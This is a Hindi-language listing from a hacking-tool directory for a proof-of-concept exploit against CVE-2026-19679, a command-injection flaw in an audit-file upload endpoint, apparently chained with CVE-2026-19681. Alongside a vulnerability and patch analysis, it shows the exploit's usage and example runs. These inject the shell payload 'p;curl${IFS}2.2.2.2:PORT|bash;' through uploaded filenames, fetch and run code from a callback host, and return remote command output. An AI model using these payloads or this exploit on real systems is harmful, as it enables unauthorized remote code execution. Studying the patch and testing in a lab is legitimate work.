Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
POC-CVE-2026-19679 — CVE-2026-19679 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, ऑडिट-फ़ाइल अपलोड में अपर्याप्त फ़ाइलनाम सैनिटाइज़ेशन भेद्यता जो कमांड इंजेक्शन की ओर ले जाती है। इसमें डिफरेंशियल वर्ज़न प्रोब और रिमोट कमांड निष्पादन के लिए exec मोड शामिल है। | Kitploit
उपकरण/GitHubGitHub/h00die/poc-cve-2026-19679
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलपेलोड डेवलपमेंट
GitHubh00die/poc-cve-2026-19679

POC-CVE-2026-19679

CVE-2026-19679 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, ऑडिट-फ़ाइल अपलोड में अपर्याप्त फ़ाइलनाम सैनिटाइज़ेशन भेद्यता जो कमांड इंजेक्शन की ओर ले जाती है। इसमें डिफरेंशियल वर्ज़न प्रोब और रिमोट कमांड निष्पादन के लिए exec मोड शामिल है।

रिपॉजिटरी देखें
21घं 11मि पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

InfoGraphic

CVE-2026-19679 — अपलोड किए गए फ़ाइलनामों की अपर्याप्त सैनिटाइज़ेशन (इनपुट सत्यापन)

स्थिति: पुष्टि एक 6.7.2-14.el9 लैब पर (2026-08-20)। POST /rest/auditFile tailoringOriginalFilename = "poc;touch${IFS}poc19679;me.xml" के साथ HTTP 200 लौटाया और AuditFile #1000002 पंजीकृत किया — शेल-मेटाकैरेक्टर फ़ाइलनाम सत्यापन में पास हुआ और एंड-टू-एंड संग्रहीत किया गया। 6.9.0 पर वही अनुरोध "Invalid tailoring filename." के साथ अस्वीकार कर दिया जाता है।

भेद्यता

ऑडिट-फ़ाइल अपलोड पैरामीटर (filename, tailoringFilename, tailoringOriginalFilename) को () के साथ सत्यापित किया जाता है, जो केवल तीन चीज़ों की जाँच करता है: गैर-रिक्त, कोई नहीं ( समानता), और यह कि स्टेज की गई फ़ाइल मौजूद है। — , , बैकटिक्स, और स्पेस बिना छेड़े पास हो जाते हैं।

PARAM_FILENAME
Utility::validateParams()
/
basename()
कोई कैरेक्टर-सेट बाधा नहीं है
;
$()
${IFS}

ये नाम फिर इनमें प्रवाहित होते हैं:

  • rename($tmpTailoringFile, "{$tmpDir}/{$newTailoringFilename}") — AuditFileLib.php:2307 (इसके नाम में मनमाने मेटाकैरेक्टर वाली एक फ़ाइल बनाई जाती है)
  • SCAP ज़िप रीपैक कमांड — exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc") जहाँ अनएस्केप्ड $tmpZipFile क्लाइंट के filename पैरामीटर से प्राप्त होता है — CVE-2026-19681 का डाउनस्ट्रीम कमांड इंजेक्शन।

लैब-सत्यापित सीमा: ट्रैवर्सल pre-6.9 दोष का हिस्सा नहीं है — दोनों टेलरिंग पैरामीटर / को अस्वीकार करते हैं (../ पेलोड पर त्रुटि 146 Invalid syntax for attribute ...)। गायब तत्व वास्तव में कैरेक्टर-सेट फ़िल्टर है, जिसका अर्थ CVE टेक्स्ट "डाउनस्ट्रीम कमांड इंजेक्शन में योगदान कर सकता है" कहने से है।

पैच (6.9.0)

AuditFiles::applySCAPTailoringFile():

root@kitploit:~
$filenamePattern = '/^[A-Za-z0-9][A-Za-z0-9._-]{0,254}$/';
$safeTailoringFilename = basename($params['tailoringFilename']);
$safeTailoringOriginalFilename = basename($params['tailoringOriginalFilename']);
if ( !preg_match($filenamePattern, ...) ) {
    ErrorHandler::setErrorHandler("Invalid tailoring filename.", RESPONSE_INVALID_DATA);

साथ ही दोनों नामों पर basename() और ज़िप ऑपरेंड पर escapeshellarg() लगाया गया।

PoC

डिफरेंशियल वर्ज़न प्रोब — एक अनुरोध, प्रति वर्ज़न विपरीत परिणाम:

root@kitploit:~
./poc.py --target https://sc.lab --username analyst --password 'pass'
  • ≤ 6.8.x → HTTP 200 (मेटाकैरेक्टर नाम के साथ ऑडिट फ़ाइल बनाई गई) या त्रुटि 106 (पोस्ट-एक्ज़िक बाउंस; नाम फिर भी rename()/zip तक पहुँचा) → कोई कैरेक्टर-सेट सत्यापन नहीं
  • 6.9.0 → तुरंत "Invalid tailoring filename."

परिचालन नोट (सभी लैब-सत्यापित):

  • अपलोड संसाधन /rest/file/upload है (मल्टीपार्ट Filedata, context फ़ॉर्म फ़ील्ड)
  • ऑडिट ज़िप को ब्लैंक कॉन्टेक्स्ट के साथ स्टेज किया जाता है — context=auditFile ज़िप पर कंटेंट डिटेक्शन चलाता है (डमी ज़िप पर त्रुटि 107)
  • टेलरिंग फ़ाइल में ≥1 प्रोफ़ाइल के साथ पार्स करने योग्य डेटास्ट्रीम XML होना चाहिए (एम्बेडेड)
  • auditFile बॉडी को type=scapLinux|scapWindows, version=1.2, benchmarkName, dataStreamName चाहिए

CVE-2026-19681 से संबंध

19679 सत्यापन की कमी है; 19681 exec सिंक है। वही अपलोड फ़्लो दोनों को सक्रिय करता है: 19681 स्टेज किए गए filename में मेटाकैरेक्टर डालता है (अपलोड context प्रीफ़िक्स के माध्यम से) और उन्हें अनएस्केप्ड $tmpZipFile के ज़रिए फायर करता है; 19679 दर्शाता है कि संबंधित पैरामीटर उसी कमांड स्ट्रिंग तक (और उसमें) समान कैरेक्टर क्लास स्वीकार करते हैं। 6.9.0 दोनों पक्षों को एक ही कमिट क्षेत्र में ठीक करता है: charset + basename + escapeshellarg।

उदाहरण रन

root@kitploit:~
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd whoami
[*] exec mode: callback on 2.2.2.2:43423, staged-name payload 'p;curl${IFS}2.2.2.2:43423|bash;'
[+] authenticated, token 20748583...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:43423|bash;-6LsqIT' tailoring='tailoringFile-gGVNr6'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560505}
[+] command output:
tns
root@kitploit:~
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd "uname -a"
[*] exec mode: callback on 2.2.2.2:44077, staged-name payload 'p;curl${IFS}2.2.2.2:44077|bash;'
[+] authenticated, token 20420913...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:44077|bash;-zFE1Bb' tailoring='tailoringFile-FmUM7f'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560738}
[+] command output:
Linux securitycenter 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Oct 17 14:16:35 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux
टूल डाउनलोड करें